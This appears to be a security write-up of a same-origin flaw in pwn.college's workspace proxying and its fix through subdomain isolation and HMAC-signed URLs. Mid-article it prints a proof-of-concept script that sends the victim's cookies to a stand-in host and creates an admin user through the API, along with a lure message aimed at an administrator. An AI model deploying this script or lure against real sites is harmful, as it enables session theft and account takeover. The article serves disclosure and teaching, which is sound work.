Class Is in Session: Escaping the pwn.college Sandbox via SOP Negligence

pwn.college is a fantastic platform for learning binary exploitation. It gives students and challenge authors 'workspaces'—effectively VS Code instances running inside Docker containers—to write exploits and solve challenges. It is the ultimate playground for hackers.

But here is the irony: in building a platform to teach people how to break software, the developers left a massive, gaping hole in their own architecture. The vulnerability, CVE-2026-25117, isn't a complex buffer overflow or a heap grooming wizardry. It is a fundamental misunderstanding of the web's most basic security boundary: The Same-Origin Policy (SOP).

The premise is simple. You, the user, get a workspace. You control the files in that workspace. You can host web servers in that workspace. The platform then kindly proxies that workspace to your browser so you can interact with it. The problem? They proxied it to http://dojo.website/workspace/....

Do you see the issue yet? If I control the content at /workspace/, and the admin panel is at /admin, and they share the same hostname... I don't need to break out of the Docker container. I just need to ask the browser nicely to hand over your cookies.

The root cause here is a classic 'Shared Origin' vulnerability. Modern browsers rely heavily on the Same-Origin Policy to keep sites safe. If site A (attacker.com) tries to read the cookies of site B (bank.com), the browser shouts 'HALT!' and blocks the access.

However, in the pwn.college architecture, the 'main' application (where session tokens, admin panels, and grades live) and the 'untrusted' workspace (where users run arbitrary code) shared the exact same protocol, domain, and port.

To the browser, http://dojo.website/dashboard and http://dojo.website/workspace/user_123/exploit.html are siblings. They are the same person. They share the same localStorage, the same document.cookie, and the same execution context.

This meant that the 'sandboxing' provided by Docker was irrelevant for web-based attacks. The container stopped me from reading /etc/shadow on the host server, but the web architecture practically invited me to read the sessionid from the admin's browser.

Let's look at the routing logic before the fix. The Nginx configuration essentially said, 'If the user asks for /workspace, just pass it through to the container.'

There was no domain separation. The fix, implemented in commit e33da14449a5abcff507e554f66e2141d6683b0a, completely overhauled this. The developers realized they couldn't just trust the path; they needed to change the host.

Here is the logic shift:

Before (Vulnerable): All content served via: http://dojo.website/workspace/{container_id}/

After (Fixed): The application now defines a WORKSPACE_HOST (e.g., workspace.dojo.website).

The routing logic was updated to require HMAC signatures to prevent forced browsing, but the critical security change was the domain split. By moving the dangerous, user-controlled content to a subdomain (or entirely different domain), the browser's SOP kicks in. workspace.dojo.website cannot read cookies from dojo.website.

The patch also introduced ngx_http_hmac_secure_link_module to verify signatures, ensuring that even on the isolated domain, you can't just stumble into someone else's active container.

Exploiting this was trivially easy for anyone with 'Challenge Author' privileges or the ability to spin up a custom workspace.

Step 1: The Setup I start a workspace. Inside my container, I create a file named index.html in the web root. I put the following malicious JavaScript inside:

<!-- The "I drink your milkshake" script -->
<script>
  // Since we are on the same origin, we can just... take it.
  const session = document.cookie;
  
  // Exfiltrate to my server
  fetch('https://evil-hacker.com/loot?cookie=' + btoa(session));
 
  // Or, just be noisy and create a new admin user via the API
  fetch('/api/v1/users', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({username: 'pwned', admin: true})
  });
</script>

Step 2: The Lure The URL for this file is http://dojo.website/workspace/my-container/index.html. I send this link to an administrator, perhaps claiming, 'Hey, my workspace is broken, can you take a look?'

Step 3: The Execution

The browser sees the request coming from dojo.website. It attaches the HttpOnly cookies (if not strictly set, but often XSS bypasses this via API calls anyway) or allows the JS to read non-HttpOnly tokens. The backend accepts the API call because it carries the admin's session.

The fix required a messy divorce between the application and the workspaces. They can no longer live in the same house.

1. Subdomain Isolation: The primary mitigation is ensuring DOJO_HOST and WORKSPACE_HOST are different. This forces the browser to treat them as mutually distrusting entities.

2. HMAC URL Signing: To prevent users from guessing the new subdomain URLs (e.g., workspace.dojo.website/container-123), the developers implemented HMAC-SHA256 signing. The Nginx gateway now checks a signature in the URL path before proxying the request. If the signature doesn't match the WORKSPACE_SECRET, the request is dropped.

3. Cookie Hygiene: While the domain split fixes the immediate XSS, it is also a good reminder to set SameSite=Lax or Strict on session cookies to prevent other classes of cross-site attacks.

For developers reading this: If you host user content, never put it on your main domain. Use usercontent.google.com, githubusercontent.com, or similar patterns. Learn from pwn.college's pwnage.